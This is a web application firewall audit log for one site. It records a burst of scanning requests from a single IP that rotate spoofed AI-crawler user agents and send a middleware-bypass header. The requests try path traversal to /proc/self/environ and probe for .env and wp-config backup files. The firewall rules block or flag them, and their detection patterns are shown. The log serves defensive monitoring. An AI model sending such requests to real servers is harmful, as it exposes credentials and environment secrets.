Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzmM7dE9KgIIOpQh6VQAAAMA"]
Stopwatch: 1789296846237930 9929 (- - -)
Stopwatch2: 1789296846237930 9929; combined=6545, p1=512, p2=5888, p3=87, p4=9, p5=48, sr=219, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9c9e497e-Z--

--a2a18214-A--
[13/Sep/2026:13:54:06.306974 +0300] aqaAzmM7dE9KgIIOpQh6VgAAANc 35.236.177.61 33904 127.0.0.1 7081
--a2a18214-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a2a18214-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a2a18214-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles/x"] [unique_id "aqaAzmM7dE9KgIIOpQh6VgAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789296846300161 6860 (- - -)
Stopwatch2: 1789296846300161 6860; combined=5085, p1=277, p2=4437, p3=0, p4=0, p5=370, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a2a18214-Z--

--39281670-A--
[13/Sep/2026:13:54:06.314338 +0300] aqaAzkwu1RSkptiiNIX7gwAAAIU 35.236.177.61 33874 127.0.0.1 7081
--39281670-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--39281670-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--39281670-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzkwu1RSkptiiNIX7gwAAAIU"]
Action: Intercepted (phase 2)
Stopwatch: 1789296846293393 21013 (- - -)
Stopwatch2: 1789296846293393 21013; combined=14518, p1=866, p2=13342, p3=0, p4=0, p5=309, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--39281670-Z--

--aeca1935-A--
[13/Sep/2026:13:54:06.449242 +0300] aqaAzmM7dE9KgIIOpQh6VwAAANU 35.236.177.61 33918 127.0.0.1 7081
--aeca1935-B--
GET /wp-config.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--aeca1935-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--aeca1935-E--

--aeca1935-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.bak"] [unique_id "aqaAzmM7dE9KgIIOpQh6VwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.bak"] [unique_id "aqaAzmM7dE9KgIIOpQh6VwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.bak"] [unique_id "aqaAzmM7dE9KgIIOpQh6VwAAANU"]
Stopwatch: 1789296846411151 38172 (- - -)
Stopwatch2: 1789296846411151 38172; combined=36160, p1=273, p2=35612, p3=185, p4=15, p5=74, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aeca1935-Z--

--d4126d62-A--
[13/Sep/2026:13:54:06.491846 +0300] aqaAzmM7dE9KgIIOpQh6WAAAANQ 35.236.177.61 33926 127.0.0.1 7081
--d4126d62-B--
GET /wp-config.php.old HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d4126d62-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d4126d62-E--

--d4126d62-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.old"] [unique_id "aqaAzmM7dE9KgIIOpQh6WAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.old"] [unique_id "aqaAzmM7dE9KgIIOpQh6WAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.old"] [unique_id "aqaAzmM7dE9KgIIOpQh6WAAAANQ"]
Stopwatch: 1789296846444141 47763 (- - -)
Stopwatch2: 1789296846444141 47763; combined=45006, p1=462, p2=44329, p3=122, p4=12, p5=80, sr=194, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d4126d62-Z--

--45d4e64c-A--
[13/Sep/2026:13:54:06.557073 +0300] aqaAzisVWymXUono-eRWMgAAAAQ 35.236.177.61 33964 127.0.0.1 7081
--45d4e64c-B--
GET /laravel/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--45d4e64c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--45d4e64c-E--

--45d4e64c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/laravel/.env"] [unique_id "aqaAzisVWymXUono-eRWMgAAAAQ"]
Stopwatch: 1789296846547392 9742 (- - -)
Stopwatch2: 1789296846547392 9742; combined=7312, p1=491, p2=6604, p3=143, p4=13, p5=60, sr=243, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--45d4e64c-Z--

--db2acc23-A--
[13/Sep/2026:13:54:06.583009 +0300] aqaAzmM7dE9KgIIOpQh6WgAAANY 35.236.177.61 33948 127.0.0.1 7081
--db2acc23-B--
GET /config/.env.php HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--db2acc23-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--db2acc23-E--

--db2acc23-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/config/.env.php"] [unique_id "aqaAzmM7dE9KgIIOpQh6WgAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/config/.env.php"] [unique_id "aqaAzmM7dE9KgIIOpQh6WgAAANY"]
Stopwatch: 1789296846541751 41318 (- - -)
Stopwatch2: 1789296846541751 41318; combined=38469, p1=456, p2=37789, p3=137, p4=15, p5=71, sr=216, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--db2acc23-Z--

--b280f153-A--
[13/Sep/2026:13:54:06.591988 +0300] aqaAzisVWymXUono-eRWMwAAABQ 35.236.177.61 33970 127.0.0.1 7081
--b280f153-B--
GET /.env.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b280f153-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b280f153-E--

--b280f153-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.php.bak"] [unique_id "aqaAzisVWymXUono-eRWMwAAABQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.php.bak"] [unique_id "aqaAzisVWymXUono-eRWMwAAABQ"]
Stopwatch: 1789296846552387 39660 (- - -)
Stopwatch2: 1789296846552387 39660; combined=36781, p1=505, p2=36085, p3=113, p4=12, p5=65, sr=218, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b280f153-Z--

--c3747e44-A--
[13/Sep/2026:13:54:06.750143 +0300] aqaAzmM7dE9KgIIOpQh6WwAAAMI 35.236.177.61 33982 127.0.0.1 7081
--c3747e44-B--
GET /core/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c3747e44-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c3747e44-E--

--c3747e44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/core/.env"] [unique_id "aqaAzmM7dE9KgIIOpQh6WwAAAMI"]
Stopwatch: 1789296846741055 9156 (- - -)
Stopwatch2: 1789296846741055 9156; combined=5880, p1=987, p2=4690, p3=81, p4=9, p5=112, sr=107, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c3747e44-Z--

--69ed9e44-A--
[13/Sep/2026:13:54:06.775352 +0300] aqaAzisVWymXUono-eRWNAAAAA4 35.236.177.61 34002 127.0.0.1 7081
--69ed9e44-B--
GET /config.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--69ed9e44-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--69ed9e44-E--

--69ed9e44-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/config.php.bak"] [unique_id "aqaAzisVWymXUono-eRWNAAAAA4"]
Stopwatch: 1789296846769302 6101 (- - -)
Stopwatch2: 1789296846769302 6101; combined=4531, p1=297, p2=4122, p3=65, p4=8, p5=38, sr=129, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--69ed9e44-Z--

--49f0f642-A--
[13/Sep/2026:13:54:06.809782 +0300] aqaAzjTJ6xTvcJoem7f8UQAAAEw 35.236.177.61 34012 127.0.0.1 7081
--49f0f642-B--
GET /configuration.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--49f0f642-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--49f0f642-E--

--49f0f642-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/configuration.php.bak"] [unique_id "aqaAzjTJ6xTvcJoem7f8UQAAAEw"]
Stopwatch: 1789296846803553 6311 (- - -)
Stopwatch2: 1789296846803553 6311; combined=4589, p1=280, p2=4192, p3=65, p4=7, p5=45, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49f0f642-Z--

--3ccae92f-A--
[13/Sep/2026:13:54:06.853323 +0300] aqaAzjTJ6xTvcJoem7f8UwAAAFY 35.236.177.61 34032 127.0.0.1 7081
--3ccae92f-B--
GET /.env.swp HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--3ccae92f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--3ccae92f-E--

--3ccae92f-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
